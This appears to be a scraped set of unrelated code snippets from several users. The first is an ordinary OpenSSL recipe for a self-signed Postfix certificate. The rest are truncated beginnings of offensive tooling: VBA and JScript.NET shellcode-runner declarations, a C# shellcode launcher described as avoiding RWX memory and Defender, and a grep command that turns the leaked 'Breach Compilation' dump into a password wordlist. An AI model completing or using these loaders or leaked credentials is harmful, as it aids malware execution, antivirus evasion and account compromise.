volure

# copied from https://www.e-rave.nl/create-a-self-signed-ssl-key-for-postfix

openssl genrsa -des3 -out mail.domain.tld.key 2048
chmod 600 mail.domain.tld.key
openssl req -new -key mail.domain.tld.key -out mail.domain.tld.csr
openssl x509 -req -days 365 -in mail.domain.tld.csr -signkey mail.domain.tld.key -out mail.domain.tld.crt
openssl rsa -in mail.domain.tld.key -out mail.domain.tld.key.nopass
mv mail.domain.tld.key.nopass mail.domain.tld.key
openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
chmod 600 mail.domain.tld.key

kumatti1

Option Explicit

Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare Function IsBadWritePtr Lib "kernel32" _
        (ByVal lp As Long, ByVal ucb As Long) As Long
Private Declare Function VirtualProtect Lib "kernel32" _
        (ByVal lpAddress As Long, ByVal dwSize As Long, _
        ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" _
        (ByVal lpAddress As Long, ByVal dwSize As Long, _

sinmygit

import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
 
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
 

ahvonenj

wordlist created from original 41G stash via:

grep -rohP '(?<=:).*$' | uniq > breachcompilation.txt

Then, compressed with:

7z a breachcompilation.txt.7z breachcompilation.txt

Size:

0xhexmex

// Execute shellcode without using RWX memory
// Will get caught by Defender as-is
// Compile:  C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:sclaunch-norwx.exe /unsafe /platform:x86 .\sc_launcher_norwx.cs

using System;
using System.Runtime.InteropServices;


namespace ShellCodeLauncher
{